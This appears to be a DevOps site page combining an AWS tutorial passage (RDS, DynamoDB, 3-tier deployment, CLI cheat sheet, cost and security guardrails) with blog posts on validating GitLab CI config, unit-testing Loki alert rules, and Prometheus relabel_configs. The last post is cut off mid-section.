Multi-AZ (High Availability): AWS keeps a synchronous standby replica in a second Availability Zone. If the primary dies, RDS automatically fails over to the standby (DNS endpoint stays the same). This is about survival, not speed — the standby does not serve reads.
Read Replicas (Scale): Asynchronous copies you can read from to offload heavy SELECT traffic (reporting, dashboards). This is about scaling reads, not failover. You can promote a replica to standalone, but it isn't automatic HA.
Automated backups: Daily snapshot + transaction logs enable point-in-time recovery (PITR) within your retention window (up to 35 days). Manual snapshots live until you delete them — good for "before the migration" safety copies.
Parameter groups: tune engine settings (e.g. max_connections) without touching a config file. Subnet groups: tell RDS which subnets (across AZs) it may launch into — almost always your private subnets.

Caution: Multi-AZ and Read Replica are constantly confused in interviews. Multi-AZ = HA/failover (sync, same endpoint, no read offload). Read Replica = scaling reads (async, separate endpoint). You can have both at once.

Note: An e-commerce app runs RDS Postgres Multi-AZ for the orders database. The analytics team was hammering it with giant reports, slowing checkout. The fix: add two Read Replicas and point the reporting tool at the replica endpoint. Checkout latency dropped instantly — writes stayed on the primary, reads spread out.

Create a Multi-AZ Postgres instance in private subnets:

aws rds create-db-instance \
  --db-instance-identifier prod-orders-db \
  --db-instance-class db.t3.medium \
  --engine postgres \
  --engine-version 16.3 \
  --master-username appadmin \
  --master-user-password 'ChangeMe-UseSecretsManager!' \
  --allocated-storage 50 \
  --storage-type gp3 \
  --multi-az \
  --db-subnet-group-name prod-private-subnets \
  --vpc-security-group-ids sg-0a1b2c3d4e5f67890 \
  --backup-retention-period 7 \
  --storage-encrypted \
  --no-publicly-accessible

Tip: Never bake the DB password into CLI/Terraform. Use AWS Secrets Manager (RDS can even auto-rotate it) or --manage-master-user-password so AWS stores and rotates it for you.

Why Managed Beats Self-Hosted on EC2

Automated patching, backups, and PITR — no cron jobs you forget about.
One-flag HA (--multi-az) instead of hand-building replication and failover scripts.
Push-button read scaling and storage autoscaling.
You still own schema, queries, and indexes — i.e. the stuff that's actually your job.

Amazon DynamoDB — Managed NoSQL

DynamoDB is a fully managed key-value / document store. No servers, no engine versions, no connection pools — just an API. It delivers single-digit millisecond latency at any scale, which is why it powers shopping carts, session stores, and leaderboards.

Partition key (PK): determines which physical partition stores the item — choose a high-cardinality key so traffic spreads evenly (avoid "hot partitions").
Sort key (SK): optional; lets you store many related items under one PK and query ranges (e.g. PK=USER#42, SK=ORDER#2026-06-01). PK + SK together form the primary key.
On-demand capacity: pay per request, scales instantly — perfect for spiky or unknown traffic.
Provisioned capacity: you set read/write capacity units (with optional auto-scaling) — cheaper for steady, predictable load.

aws dynamodb create-table \
  --table-name UserOrders \
  --attribute-definitions \
    AttributeName=UserId,AttributeType=S \
    AttributeName=OrderId,AttributeType=S \
  --key-schema \
    AttributeName=UserId,KeyType=HASH \
    AttributeName=OrderId,KeyType=RANGE \
  --billing-mode PAY_PER_REQUEST \
  --tags Key=env,Value=prod

Tip: HASH = partition key, RANGE = sort key in DynamoDB CLI terminology. PAY_PER_REQUEST = on-demand; switch to PROVISIONED with --provisioned-throughput once your traffic is predictable.

RDS vs DynamoDB — When to Pick What

Pick RDS when you have relational data, complex joins, transactions, and ad-hoc queries (finance, orders, anything with strong consistency and relationships). Pick DynamoDB when you need massive scale, predictable access patterns by key, ultra-low latency, and zero ops (carts, sessions, IoT, gaming, event logs).

Aspect	Amazon RDS	DynamoDB
Data model	Relational (tables, joins)	NoSQL key-value / document
Query flexibility	Full SQL, ad-hoc queries	Key-based access; design schema around access patterns
Scaling	Vertical + read replicas	Horizontal, virtually unlimited, automatic
Latency	Low (ms), depends on instance	Single-digit ms at any scale
HA	Multi-AZ failover	Built-in, multi-AZ by default
Ops overhead	Low (you pick instance size, params)	Near zero (serverless)
Best for	Orders, finance, complex relationships	Carts, sessions, IoT, leaderboards

Tip: "How do you scale reads on RDS without hurting writes?" → Read Replicas, point read-only traffic at the replica endpoint. "How do you make RDS highly available?" → Multi-AZ. Saying the right one for the right reason instantly signals you understand the difference.

How It All Fits Together

You've met the building blocks one by one — IAM, VPC, subnets, EC2, S3, RDS, Security Groups, gateways, ALB. Now let's snap them together like Lego and deploy a typical web app. This is the mental model interviewers want to hear, and it's the diagram you'll draw on a whiteboard for the rest of your career.

Note: Think of your AWS account as a gated township. IAM = the security desk deciding who enters and what they can touch. VPC = the township's boundary wall. Subnets = individual lanes (some facing the main road = public, some tucked inside = private). IGW = the main gate to the public road. NAT = a one-way courier so inside residents can order online without strangers walking in. Security Groups = the lock on each house's door.

The 3-Tier Architecture (Web / App / Data)

Almost every classic web app splits into three tiers, and AWS maps cleanly onto them:

Web / presentation tier: the public entry point. An Application Load Balancer (ALB) sits in public subnets and accepts user traffic on 80/443. Static assets (images, JS bundles, your React build) often live in S3 and/or behind a CDN.
App / logic tier: your EC2 instances (or containers) running the backend, in private subnets. They never get a public IP — the ALB forwards traffic to them.
Data tier: RDS (and/or DynamoDB) in private subnets, reachable only from the app tier. Nothing on the internet can touch the database directly.

Each tier lives in its own subnet layer, spread across at least two Availability Zones for resilience, all inside one VPC.

The Deployment, Step by Step

IAM first. Create roles, not long-lived keys. An EC2 instance role lets the app read from S3 and pull DB credentials from Secrets Manager — no keys on disk.
Build the VPC. Carve a CIDR (e.g. 10.0.0.0/16) and create public + private subnets across two AZs.
Attach an Internet Gateway (IGW) to the VPC and route public subnets' 0.0.0.0/0 to it. Add a NAT Gateway in a public subnet so private instances can reach the internet outbound (for updates/patches) without being reachable inbound.
Launch EC2 app servers in the private subnets, behind an Auto Scaling Group ideally.
Create the ALB in the public subnets, with a target group pointing at the EC2 instances. Health checks decide which instances get traffic.
Provision RDS (Multi-AZ) in the private subnets via a DB subnet group.
Wire Security Groups (the real glue): ALB SG allows 443 from 0.0.0.0/0; EC2 SG allows the app port only from the ALB's SG; RDS SG allows 5432/3306 only from the EC2 SG. Referencing SGs by ID (not IP ranges) is the clean, least-privilege way.
Point your domain (Route 53) at the ALB and attach a TLS cert (ACM) for HTTPS.

Request Flow, End to End

User's browser resolves your domain via Route 53 → gets the ALB's address.
Request enters the VPC through the IGW and hits the ALB in a public subnet (TLS terminated by ACM cert).
ALB picks a healthy EC2 instance in a private subnet and forwards the request — allowed because the EC2 Security Group trusts the ALB's SG.
The app reads/writes RDS (private), pulls static files or uploads to S3, and uses its IAM instance role for those calls.
If the app needs to call an external API, traffic exits via the NAT Gateway — outbound only.
Response flows back through the ALB to the user. The database and app servers were never exposed to the internet.

Note: A SaaS dashboard runs exactly this shape: ALB in two public subnets, an Auto Scaling Group of EC2 in two private subnets, RDS Postgres Multi-AZ in the data tier, and the React build served from S3 + CloudFront. When a marketing email caused a traffic spike, the ASG added instances and the ALB spread load — zero manual intervention, no downtime.

Where CI/CD and IaC Fit

You'd never click all of the above by hand in production. Infrastructure as Code — Terraform or CloudFormation — defines the VPC, subnets, SGs, ALB, RDS, and IAM roles as version-controlled files. You plan and apply to create identical environments (dev/staging/prod) repeatably.

CI/CD (GitHub Actions, GitLab CI, CodePipeline) handles the application: on every git push it builds, tests, and deploys your code to the EC2/containers and pushes the React bundle to S3. IaC builds the house; CI/CD keeps moving the furniture in.

Tip: When asked "walk me through deploying a web app on AWS," structure your answer as tiers (web/app/data) + the security boundaries between them. Emphasize that databases and app servers live in private subnets, the ALB is the only public entry, and Security Groups reference each other by ID. That one paragraph signals senior-level thinking.

Hands-on AWS CLI

The console is great for learning, but DevOps lives in the terminal — scriptable, repeatable, automatable. The AWS CLI is your daily driver. Let's install it, configure credentials, and build a cheat sheet you'll actually reuse.

Install on Ubuntu 24.04

Use the official v2 bundle (the apt package is often outdated):

sudo apt update && sudo apt install -y unzip curl
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
aws --version   # confirm: aws-cli/2.x.x ...

Configure Credentials

aws configure walks you through four prompts: Access Key ID, Secret Access Key, default region, and output format (json, table, or text).

aws configure
# AWS Access Key ID [None]: AKIAEXAMPLE...
# AWS Secret Access Key [None]: wJalr...EXAMPLEKEY
# Default region name [None]: ap-south-1
# Default output format [None]: json

Named Profiles and Where Credentials Live

One laptop, many accounts (dev, prod, client). Named profiles keep them separate. Credentials and settings are stored in two plaintext files in your home directory:

~/.aws/credentials — the secret keys (per profile).
~/.aws/config — region, output format, and SSO/role settings (per profile).

# Create a named profile
aws configure --profile prod

# Use it per-command
aws s3 ls --profile prod

# Or set it for the whole shell session
export AWS_PROFILE=prod
aws sts get-caller-identity

# Inspect the files
cat ~/.aws/config
cat ~/.aws/credentials

Caution: ~/.aws/credentials stores your secret key in plaintext. Never commit this file, never paste keys into Slack, and on shared/CI machines prefer IAM roles or AWS SSO over long-lived keys.

Cheat Sheet — Identity and STS

Your "whoami" — always run this first to confirm which identity/account you're operating as:

aws sts get-caller-identity            # who am I? which account?
aws configure list                     # active profile, region, source
aws configure list-profiles            # all configured profiles

Cheat Sheet — S3

aws s3 ls                                      # list buckets
aws s3 ls s3://my-app-assets/                  # list objects
aws s3 cp ./build/app.js s3://my-app-assets/   # upload one file
aws s3 sync ./build/ s3://my-app-assets/ --delete   # mirror a dir (great for React builds)
aws s3 rb s3://old-bucket --force              # remove bucket + contents

Cheat Sheet — EC2

aws ec2 describe-instances \
  --query 'Reservations[].Instances[].{ID:InstanceId,State:State.Name,Type:InstanceType,IP:PrivateIpAddress}' \
  --output table
aws ec2 describe-security-groups --group-ids sg-0a1b2c3d
aws ec2 stop-instances  --instance-ids i-0123456789abcdef0
aws ec2 start-instances --instance-ids i-0123456789abcdef0

Cheat Sheet — IAM

aws iam list-users
aws iam list-roles --query 'Roles[].RoleName' --output text
aws iam list-attached-role-policies --role-name app-ec2-role

Cheat Sheet — CloudWatch Logs

aws logs describe-log-groups
aws logs tail /aws/lambda/my-func --follow         # live tail, like tail -f
aws logs tail /ecs/web-app --since 1h --format short

Tip: Two habits that save careers: (1) keep a separate profile per account and run a quick aws sts get-caller-identity before any destructive command — confirm you're not in prod. (2) For mutating EC2 actions, add --dry-run: it checks permissions and returns "would have succeeded" without actually doing anything. Combine with --output table and --query (JMESPath) to keep output readable.

Cost and Security Guardrails

Two ways to get fired fast in cloud: a surprise five-figure bill, or a leaked access key that lets attackers mine crypto on your account. Both are 100% preventable with guardrails you set up once.

Cost Guardrails

Billing alerts / AWS Budgets: set a monthly budget and get emailed at 50/80/100% — your early-warning system.
Cost Explorer: visualize spend by service, account, and tag to find what's actually eating money.
Tagging strategy: tag every resource with env, team, project, owner. Without tags you can't attribute cost or clean up safely.
Right-sizing: most instances run at <20% CPU. Use Compute Optimizer to downsize over-provisioned EC2/RDS.
Spot and Savings Plans: Spot Instances (up to ~90% off) for fault-tolerant/batch workloads; Savings Plans / Reserved Instances for steady baseline compute.
Kill idle resources — the silent money drains:
- Unattached Elastic IPs — an EIP not associated with a running instance is billed hourly.
- NAT Gateways — billed per hour AND per GB; idle ones in dev accounts are a classic leak.
- Unattached EBS volumes and old snapshots — keep getting billed after the instance is long gone.
- Idle load balancers and stopped-but-not-terminated dev instances.

Caution: Free-tier traps: the free tier is 12 months and capped. NAT Gateways, Elastic IPs, inter-AZ data transfer, and provisioned RDS storage are not free. A forgotten t2.micro beyond the cap, or one NAT Gateway left running, quietly bills you for months. Always set a Budget on day one.

Set a $50 monthly budget with an 80% email alert via CLI:

cat > budget.json <<'EOF'
{ "BudgetName": "monthly-50usd", "BudgetLimit": {"Amount":"50","Unit":"USD"},
  "TimeUnit": "MONTHLY", "BudgetType": "COST" }
EOF

cat > notify.json <<'EOF'
[ { "Notification": {"NotificationType":"ACTUAL","ComparisonOperator":"GREATER_THAN",
      "Threshold":80,"ThresholdType":"PERCENTAGE"},
    "Subscribers":[{"SubscriptionType":"EMAIL","Address":"your@email.com"}] } ]
EOF

aws budgets create-budget \
  --account-id 123456789012 \
  --budget file://budget.json \
  --notifications-with-subscribers file://notify.json

Tip: Set your very first Budget before launching anything. Add a second alert with NotificationType: FORECASTED so AWS warns you when it predicts you'll blow the budget — not just after you already have.

Security Guardrails

MFA on the root account — then lock the root keys away and never use root for daily work.
Least privilege — grant only the permissions a role/user actually needs; start narrow and widen if required.
Never commit access keys — no keys in Git, Dockerfiles, or env files in repos. Use a .gitignore and a secrets scanner in CI.
Roles, not keys — EC2/Lambda/ECS use IAM roles for temporary, auto-rotating credentials. Long-lived keys are the #1 breach vector.
Encryption — at rest with KMS (enable on S3, EBS, RDS), in transit with TLS everywhere.
CloudTrail + GuardDuty — CloudTrail logs every API call (the audit trail); GuardDuty uses ML to flag suspicious behavior (e.g. crypto-mining, anomalous API calls).
Security Groups least-open — never 0.0.0.0/0 on SSH/RDP/DB ports. Reference SGs by ID and open only what's needed.
S3 Block Public Access — keep it ON at the account level unless a bucket is deliberately a public website.

Caution: The classic disaster: a developer commits an access key to a public GitHub repo. Bots scan GitHub within minutes and spin up expensive GPU instances for crypto mining. Use IAM roles instead of keys, and enable a secret scanner so a key never reaches the repo in the first place.

Enable a virtual MFA device for an IAM user:

# Create the virtual MFA device
aws iam create-virtual-mfa-device \
  --virtual-mfa-device-name my-mfa \
  --outfile /tmp/qr.png --bootstrap-method QRCodePNG

# Scan QR in your authenticator app, then enable with two consecutive codes
aws iam enable-mfa-device \
  --user-name myuser \
  --serial-number arn:aws:iam::123456789012:mfa/my-mfa \
  --authentication-code1 123456 \
  --authentication-code2 654321

# Turn ON account-wide S3 public access block
aws s3control put-public-access-block \
  --account-id 123456789012 \
  --public-access-block-configuration \
    BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true

Tip: A simple priority order for any new account: (1) MFA on root, (2) a Budget alert, (3) CloudTrail on, (4) S3 Block Public Access on, (5) IAM roles instead of keys. Five steps, fifteen minutes, and you've dodged the most common cost and security incidents.

Note: Prefer a day-by-day path? This is covered in Mission 90 Days 46–65 — a free 90-day guided DevOps program with browser terminal missions.

Running containers on AWS? Continue with Kubernetes for DevOps.

How to Validate .gitlab-ci.yml Before You Push

opscanopy — Tue, 11 Aug 2026 15:12:10 +0000

You change one line in .gitlab-ci.yml, push, and switch to something else. Two minutes later the pipeline goes red — not because the build broke, but because a job points at a stage you renamed last week. You fix the typo, push again, wait again. This is the loop, and the only way out is to validate .gitlab-ci.yml before the commit lands, not after the runner tells you.

The frustrating part is that GitLab already knows your config is broken the instant it parses it. It just doesn't tell you until you've pushed and burned a CI minute. The fix is to run that same check locally, in the browser, before you ever git push.

The push-and-pray loop

Here's the shape of the problem. You edit a job, push, and let GitLab be your linter:

git add .gitlab-ci.yml
git commit -m "split deploy into staging + prod"
git push
# wait for the runner to pick up the pipeline...
# pipeline failed: "chosen stage prod does not exist"
git commit -am "fix: declare prod stage"
git push
# wait again...

Each round trip is a commit you didn't want, a runner slot you didn't need, and a context switch that costs more than the typo did. The errors that cause this almost never need a runner to detect. They're visible the moment the YAML is parsed and the job graph is resolved — which is exactly what a validator does locally.

Two kinds of errors: YAML syntax vs structural

When GitLab rejects a pipeline, the failure is one of two categories, and they have completely different fixes.

The first is a YAML syntax error: the file isn't valid YAML at all, so nothing downstream can read it. The second is a structural error: the YAML parses fine, but the pipeline it describes is invalid — a job with no script, a stage that was never declared, a needs pointing at a job that doesn't exist.

# YAML error — the parser can't even build a document
build:
  script:
    - make
   - make test      # inconsistent indentation: parser bails here

# Structural error — valid YAML, invalid pipeline
deploy:
  stage: prod        # "prod" is not in stages: → GitLab refuses to run it
  script: ./deploy.sh

Valid YAML is only half the job. The GitLab CI Validator checks both in one pass: it parses the YAML first, and only if that succeeds does it run the structural checks against your jobs. If the parse fails, you get a single line-referenced error and nothing else — there's no point reporting "undefined stage" on a document that didn't parse.

YAML errors that bite: indentation, tabs, duplicate keys

YAML is whitespace-significant, and CI config is exactly the kind of nested structure where that bites. The classic GitLab error message — did not find expected key — is almost always one of these.

test:
  stage: test
    script:              # a literal TAB instead of spaces → parse error
    - npm test

variables:
  DEPLOY_ENV: staging
  DEPLOY_ENV: prod       # duplicate key — the first value is silently lost

deploy:
  script: &deploy_steps  # anchor defined...
    - ./deploy.sh
rollback:
  script: *deploy_step   # ...but referenced with a typo → "unknown alias"

A browser validator parses with a real YAML reader, so it reports the exact line where the structure broke. When you paste config and the result is Could not parse YAML: ... (line 4, column 2), that's the parser telling you precisely where to look — re-indent, swap the tab for spaces, or fix the anchor name, and re-validate.

Structural errors GitLab catches late: undefined stages, jobs with no script, bad needs/extends

These are the ones that make you wait for a runner only to be told the pipeline never started. They're the real reason to validate GitLab CI before push. The validator models the rules from GitLab's .gitlab-ci.yml keyword reference and flags each one with the offending job, the line, and the fix.

A job with no executable surface. Every visible job has to do something: run commands with script: (or the newer run:), start a downstream pipeline with trigger:, or inherit one of those via extends:. A job with none of them is rejected with the familiar "job config should implement a script: or a trigger: keyword."

# ERROR — empty-job defines no script, run, trigger, or extends
empty-job:
  stage: test
  # nothing here → GitLab won't run it

Note that an empty script: [] or script: "" counts as missing too — the validator treats only a non-empty command string or list as a real executable surface, the same way GitLab does.

A stage that isn't declared. If a job's stage: isn't in your stages: list (or one of the five defaults: .pre, build, test, deploy, .post), GitLab doesn't know when to run it.

stages:
  - build
  - test

release-job:
  stage: release      # ERROR — "release" is not in stages:
  script: make release

There's a subtle variant the validator also catches: a job that omits stage: defaults to the implicit test stage. If you declared a custom stages: list that doesn't include test, that job is now pointing at a stage you never declared — and GitLab fails with "chosen stage test does not exist."

needs / dependencies / extends pointing at a job that doesn't exist. Every name in needs:, dependencies:, or extends: has to resolve to a real job or hidden .template in the same file.

test:
  stage: test
  needs:
    - compile          # ERROR — no job named "compile"
  extends: .base       # ERROR — no template named ".base"
  script: make test

The validator builds the set of every job id and every .template, then checks each reference against it. Rename a template and forget to update an extends:, and it tells you which job broke before the runner does.

An invalid when: or a non-list rules:. The when: keyword only accepts on_success, on_failure, always, manual, delayed, or never. And rules: has to be a YAML list of rule objects — a bare mapping is a common mistake that silently changes when a job runs.

deploy:
  stage: deploy
  when: sometimes      # ERROR — not an allowed when value
  rules:
    if: '$CI_COMMIT_TAG'   # ERROR — rules must be a list, not a mapping
  script: ./deploy.sh

It also surfaces lower-severity advice: legacy only/except get an info note recommending rules: (the two can't be combined in one job), a top-level key that's one edit away from a reserved keyword — say varables: or beforescript: — gets a misspelling warning, and malformed image:/services: shapes are flagged as errors.

Validating before you push: GitLab CI Lint vs an in-browser validator

GitLab ships its own checker — CI Lint, inside the pipeline editor. It's authoritative: it resolves include: files and project-level CI/CD variables, which a client-side tool can't see. But it has a cost: it requires a project and a sign-in. You can't lint a snippet from a code review, a config you're drafting offline, or a proprietary pipeline you'd rather not paste into a hosted form.

So what does an in-browser validator actually check? Based on the engine, the flow is deterministic and entirely local:

Parse the YAML. Any failure returns a single line-referenced error and stops — no structural findings on an unparseable document.
Split the top level into global keywords (stages, default, variables, image, services…), visible jobs, and hidden .templates.
Resolve the stages — your declared stages: list, or the five defaults — into the set every job's stage: is checked against.
Check every job for an executable surface, a known stage, real needs/extends/dependencies targets, a valid when:, a list-shaped rules:, and sane image/services shapes.
Rank by severity — errors first, then warnings, then info — each with the line and a concrete remediation. It never throws; a parse failure is reported, not crashed.

The honest framing: a clean result in the browser is strong pre-push confidence on structure and syntax. It catches the entire class of mistakes that fail a pipeline before any job runs. For absolute certainty on a config that uses include: or project variables, confirm with GitLab's own CI Lint once you've pushed to a project — but use the in-browser pass to make that push count.

If you also run GitHub Actions, the same idea applies there: the GitHub Actions Validator finds YAML and security issues in your workflow files, and the GitHub Actions Expression Tester evaluates those ${{ … }} expressions before you push.

Wire it into your workflow

The validator is a paste-and-check tool, but the habit you want is "never push CI config you haven't validated." A pre-commit hook makes that automatic for the YAML half — catch the parse errors before the commit even forms:

#!/usr/bin/env bash
# .git/hooks/pre-commit — block a commit if .gitlab-ci.yml isn't valid YAML
set -euo pipefail

if git diff --cached --name-only | grep -q '^\.gitlab-ci\.yml$'; then
  # Fail fast on a syntax error before the commit lands.
  python -c "import sys, yaml; yaml.safe_load(open('.gitlab-ci.yml'))" \
    || { echo "✗ .gitlab-ci.yml is not valid YAML — commit blocked"; exit 1; }
  echo "✓ .gitlab-ci.yml parses — paste it into the validator for structural checks"
fi

A local YAML parse catches the indentation-and-tabs class instantly. For the structural class — undefined stages, broken needs, jobs with no script — paste the file into the browser validator before you push. The two together cover both error categories from the second section, and neither needs a runner.

# the loop you actually want
$ git add .gitlab-ci.yml          # pre-commit hook checks YAML
# paste .gitlab-ci.yml → validator → 0 errors
$ git commit -m "split deploy into staging + prod"
$ git push                        # green on the first try

Validate it now

The next time you touch .gitlab-ci.yml, don't let the runner be the first thing to read it. Paste the file into the GitLab CI Validator and you'll get the YAML errors and the structural mistakes — undefined stages, jobs with no script, broken needs/extends, invalid when: — in one pass, with the line and the fix for each. It runs entirely in your browser: no project, no login, and nothing uploaded, so it's safe for internal pipelines.

If you've ever pushed a CI change and hoped it worked, this is the step that was missing.

Unit Testing Loki Alert Rules: the gap promtool leaves

opscanopy — Tue, 11 Aug 2026 15:11:36 +0000

If you run Prometheus, you already have a safety net for your alerting logic: promtool test rules. You feed it a series of synthetic samples, declare what should fire and when, and CI tells you the moment a refactor breaks an alert. It’s the difference between catching a broken page rule in code review and discovering it during an incident.

Grafana Loki has no equivalent. You can write LogQL alerting and recording rules that look almost identical to their Prometheus cousins, load them into the ruler, and ship them — but there’s no first-class way to assert that a given stream of logs produces the alert you expect. The gap is real, it’s long-standing, and it’s exactly the kind of thing that bites you at 3 a.m.

Why promtool does not cover Loki

The instinctive move is to reach for promtool and point it at your Loki rules. It doesn’t work, and the reason is fundamental rather than cosmetic.

promtool test rules evaluates PromQL against a synthetic time series database. You describe metrics with the series/values syntax and the tool replays them through the rule engine. But a Loki alert rule doesn’t start from metrics — it starts from log lines. A rule like count_over_time({app="api"} |= "panic" [5m]) > 0 has to run a LogQL pipeline (stream selector, line filter, label extraction, then a metric aggregation) over raw log entries before there’s any series to evaluate. promtool has no concept of a log stream, no LogQL parser, and no way to materialise the intermediate metrics the way Loki’s query engine does. Feeding it Loki rules either errors out or silently tests the wrong thing.

So the test surface that matters for Loki — “given these log lines, does this LogQL rule fire?” — is precisely the surface promtool can’t reach.

Why this matters

LogQL alert rules are deceptively easy to get subtly wrong:

A line filter that matches more (or less) than you think because of an unescaped regex or a missing word boundary.
A label that you unwrap or label_format incorrectly, so the aggregation groups the wrong way.
A [5m] range and a for: 10m clause that interact so the alert never has enough data to fire, or fires far later than intended.
A recording rule whose output series silently changes labels after a pipeline edit, breaking every downstream alert that selects on it.

None of these are caught by YAML linting or a schema check. They’re behavioural bugs, and the only honest way to catch them is to run the rule against representative input and assert on the output. Without a test harness, that verification happens manually, infrequently, and usually after something has already paged the wrong team — or failed to page the right one.

What a Loki rule unit test should look like

The model promtool established is the right one; it just needs a log-shaped input. Instead of synthetic series, a Loki rule test should accept synthetic streams (a set of labels plus timestamped log lines), evaluate the rule at a chosen time, and assert on the alerts produced — something like this:

# loki-rule-tests.yaml
tests:
  - name: panic in api logs fires PanicDetected
    # Synthetic log streams replayed through the LogQL engine.
    input_streams:
      - labels: '{app="api", env="prod"}'
        entries:
          - { ts: "2026-06-08T10:00:30Z", line: "level=info msg=ok" }
          - { ts: "2026-06-08T10:01:10Z", line: "level=error msg=panic: nil map" }
          - { ts: "2026-06-08T10:02:40Z", line: "level=error msg=panic: nil map" }

    # Evaluate the rule group at this instant.
    eval_time: 2026-06-08T10:05:00Z

    alert_rule_test:
      - alertname: PanicDetected
        # What we expect the ruler to emit at eval_time.
        exp_alerts:
          - exp_labels:
              app: api
              env: prod
              severity: critical
            exp_annotations:
              summary: "Panic detected in api"

The rule under test is the same rule you ship to the ruler:

groups:
  - name: api-alerts
    rules:
      - alert: PanicDetected
        expr: |
          count_over_time({app="api", env="prod"} |= "panic" [5m]) > 1
        for: 0m
        labels:
          severity: critical
        annotations:
          summary: "Panic detected in {{ $labels.app }}"

Read together, the test says: given two panic lines in the five-minute window before 10:05, the count_over_time(...) > 1 expression should be true, and the ruler should emit a PanicDetected alert carrying severity=critical and the app/env labels from the stream. Flip the input to a single panic line, or move one entry outside the [5m] window, and exp_alerts becomes empty — the test now guards both the firing and the not-firing case.

This is the shape every team that has asked for it on the Loki tracker keeps describing — see the long-running requests in Loki issues #7655 and #16659, where the community has repeatedly pointed out that a promtool-style unit test for LogQL rules simply doesn’t exist yet.

Closing the gap today

You don’t have to wait for upstream to ship this. AlertLint runs exactly this test loop in your browser: paste your Loki alerting and recording rules, define input_streams, declare your exp_alerts, and assert pass or fail before the rule ever reaches the ruler. Everything evaluates client-side — your rules and logs never leave the device — so you can wire it into review without touching infrastructure or sending data anywhere.

If you’ve ever shipped a Loki alert and hoped it worked, this is the missing step.

Try AlertLint — the Loki alert rule tester →

Prometheus relabel_configs Explained: A Practical Guide

opscanopy — Sun, 09 Aug 2026 05:50:44 +0000

A target you expected to scrape never shows up in Prometheus. No error in the logs, no failed scrape, nothing red on the targets page — the series just isn't there. You add --log.level=debug, restart, squint at the output, and eventually find it: a keep rule three lines into your relabel_configs quietly dropped the target because the regex didn't match the way you assumed. That silent failure is the whole reason relabel_configs deserves a careful read. Prometheus relabeling rewrites, keeps, or drops targets and their labels, and when it's wrong it doesn't complain — it just discards your metrics.

This guide walks through Prometheus relabeling from the ground up: what it does, the fields every rule is built from, and each action with a small example. The semantics here match exactly what the engine in the Prometheus Relabel Tester implements, so you can paste any snippet below into it and watch the labels change.

What relabeling actually does

Relabeling runs over a label set and produces a new label set. That's it. Every target Prometheus discovers arrives as a bag of labels — its address, its job, and a pile of __meta_* labels from service discovery. Before the scrape happens, your relabel_configs rules run top to bottom over those labels. Each rule sees the output of the one before it.

A rule can do one of three things to that label set:

Rewrite a label (or create one) — replace, labelmap, lowercase, uppercase, hashmod.
Drop the whole target so it's never scraped — keep, drop, keepequal, dropequal.
Remove individual labels by name — labeldrop, labelkeep.

scrape_configs:
  - job_name: api
    static_configs:
      - targets: ["10.0.0.5:8080"]
    relabel_configs:
      - source_labels: [__address__]
        target_label: instance

After this rule runs, the target carries an instance label copied from __address__. Nothing errored, nothing was dropped — one label was rewritten. That is the entire job of relabeling, repeated rule by rule.

There are two places relabeling runs. relabel_configs runs before the scrape, on the target's discovery labels, and can keep or drop whole targets. metric_relabel_configs runs after the scrape, on every sample's labels, and is used to drop or rewrite individual time series. Same actions, same semantics — only the timing and the input differ.

The building blocks: source_labels, separator, regex, modulus, target_label, replacement, action

Every relabel rule is assembled from the same handful of fields. Most have defaults, so a rule rarely sets all of them.

- source_labels: [job, instance]   # which label values to read
  separator: ";"                   # how to join them (default ";")
  regex: "(.*);(.*)"               # pattern to match the joined value (default "(.*)")
  modulus: 8                       # only for hashmod
  target_label: combined           # label to write (required by some actions)
  replacement: "$1-$2"             # value to write, with $1/${1} expansion (default "$1")
  action: replace                  # what to do (default "replace")

Here's how a rule processes that. Prometheus reads each name in source_labels, looks up its value (a missing label reads as the empty string), and joins them with separator. The default separator is a single semicolon, so source_labels: [job, instance] on job="api", instance="10.0.0.1:9090" produces the joined value api;10.0.0.1:9090.

That joined value is matched against regex. The one detail that catches everyone: the regex is fully anchored. Prometheus wraps your pattern as ^(?:your-regex)$, so it must match the entire joined value, not just part of it.

# This does NOT match "api-server" — the regex must match the whole value.
- source_labels: [job]
  regex: api
  action: keep

A regex: api rule will not keep a target whose job is api-server, because ^(?:api)$ only matches the literal string api. You'd need api.* or (api.*). This single fact explains the majority of "my target vanished" mysteries.

When the regex matches and the action writes a label, replacement supplies the value. Capture groups expand as $1, ${1}, or named groups $name/${name}; the default replacement is $1, which is why a bare replace with regex: (.*) copies the source value through unchanged. modulus is only read by hashmod, and target_label is required by replace, hashmod, lowercase, uppercase, keepequal, and dropequal.

The actions one by one: replace, keep, drop, labelmap, labelkeep, labeldrop, hashmod

Prometheus supports eleven actions. Each example below is a complete, runnable rule.

replace

Join the source labels, match the regex, expand $1/${1} in replacement, and set target_label.

- source_labels: [__address__]
  regex: "([^:]+):.*"
  target_label: ip
  replacement: "$1"

__address__="10.0.0.5:8080" becomes a new label ip="10.0.0.5". If the regex doesn't match, the label set is left unchanged. There's a sharp edge worth memorizing: if the expanded replacement is the empty string, replace deletes the target label instead of setting it to blank.

# When tmp_instance is empty, this DELETES the instance label.
- source_labels: [tmp_instance]
  regex: "(.+)"
  target_label: instance
  replacement: "$1"

On instance="old", tmp_instance="", the regex (.+) fails to match an empty value, so nothing happens — instance survives. But change the source so the expansion lands on an empty string and the instance label disappears entirely. That asymmetry is a frequent source of "where did my label go?"

keep

Drop the whole target unless the joined source matches the regex.

- source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_scrape]
  action: keep
  regex: "true"

Only pods annotated prometheus.io/scrape: "true" survive; everything else is dropped before scraping. keep is an allow-list gate.

drop

The mirror of keep: drop the target when the joined source does match.

- source_labels: [__name__]
  action: drop
  regex: "go_gc_.*"

Used in metric_relabel_configs, this silences the entire go_gc_* metric family before it's stored. drop is a deny-list gate.

labelmap

labelmap operates on label names, not values. For every label whose name matches the regex, it sets a new label — named by the expanded replacement — to that label's value.

- action: labelmap
  regex: "__meta_kubernetes_pod_label_(.+)"

A label __meta_kubernetes_pod_label_app="api" produces a new label app="api". This is the canonical move for promoting Kubernetes pod labels to plain labels. The default replacement of $1 is what writes the captured suffix as the new name.

labelkeep / labeldrop

Both filter labels by name. labeldrop removes every label whose name matches; labelkeep removes every label whose name does not match.

# Strip all leftover service-discovery metadata.
- action: labeldrop
  regex: "__meta_.+"

# Keep only the four labels you care about; drop everything else.
- action: labelkeep
  regex: "(__name__|job|instance|severity)"

hashmod

hashmod sets target_label to a stable shard number. It takes the MD5 of the joined source, reads the last 8 bytes of that digest as a big-endian 64-bit integer, and stores hash % modulus.

